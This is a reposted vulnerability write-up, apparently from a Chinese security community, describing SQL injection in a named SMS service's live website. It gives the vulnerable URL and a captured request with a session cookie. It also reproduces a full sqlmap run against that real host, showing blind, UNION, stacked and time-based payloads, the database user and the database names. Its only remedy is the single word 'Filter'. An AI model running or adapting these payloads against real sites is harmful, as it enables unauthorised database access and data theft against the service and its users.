Jiaxiao technology SMS SQL Injection

Source: Internet
Author: User

Jiaxiao technology SMS SQL Injection

http://sms.finereason.com/

First, register a user and log in. Then

http://sms.finereason.com/member/ComSms.asp?tid=1

Injection exists. Use burp to capture the packet and save it.

GET /member/ComSms.asp?tid=1* HTTP/1.1Host: sms.finereason.comProxy-Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8Cookie: ASPSESSIONIDACQQQBBQ=LCCGAAPCOOIFOPAABCCAEHHF
[root@Hacker~]# Sqlmap -r "C:\Users\A\Desktop\3.txt" --delay=2 --current-user --dbs    sqlmap/1.0-dev - automatic SQL injection and database takeover tool    http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 13:21:16[13:21:16] [INFO] parsing HTTP request from 'C:\Users\A\Desktop\3.txt'custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y[13:21:18] [INFO] resuming back-end DBMS 'microsoft sql server'[13:21:18] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: URIParameter: #1*    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1 AND 7289=7289    Type: UNION query    Title: Generic UNION query (NULL) - 5 columns    Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=-9845 UNION ALLSELECT NULL,NULL,CHAR(113)+CHAR(103)+CHAR(119)+CHAR(112)+CHAR(113)+CHAR(75)+CHAR(81)+CHAR(75)+CHAR(86)+CHAR(85)+CHAR(65)+CHAR(85)+CHAR(100)+CHAR(69)+CHAR(67)+CHAR(113)+CHAR(98)+CHAR(102)+CHAR(105)+CHAR(113),NULL,NULL--    Type: stacked queries    Title: Microsoft SQL Server/Sybase stacked queries    Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1; WAITFOR DELAY '0:0:5'--    Type: AND/OR time-based blind    Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)    Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1 AND 5345=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers ASsys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)---[13:21:21] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008web application technology: ASP.NET, Microsoft IIS 7.5back-end DBMS: Microsoft SQL Server 2005[13:21:21] [INFO] fetching current usercurrent user:    'frsms'[13:21:21] [INFO] fetching database names[13:21:23] [WARNING] the SQL query provided does not return any output[13:21:23] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'[13:21:23] [INFO] fetching number of databases[13:21:23] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[13:21:23] [INFO] retrieved:[13:21:29] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..[13:21:55] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads[13:22:00] [ERROR] unable to retrieve the number of databases[13:22:02] [WARNING] reflective value(s) found and filtering outavailable databases [6]:[*] frsms[*] master[*] model[*] msdb[*] tempdb[*] ZPHManager[13:22:17] [WARNING] HTTP error codes detected during run:403 (Forbidden) - 7 times[13:22:17] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.[13:22:17] [INFO] fetched data logged to text files under 'G:\SQLMAP~1.4\Bin\output\sms.finereason.com'[*] shutting down at 13:22:17
Solution:

Filter

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.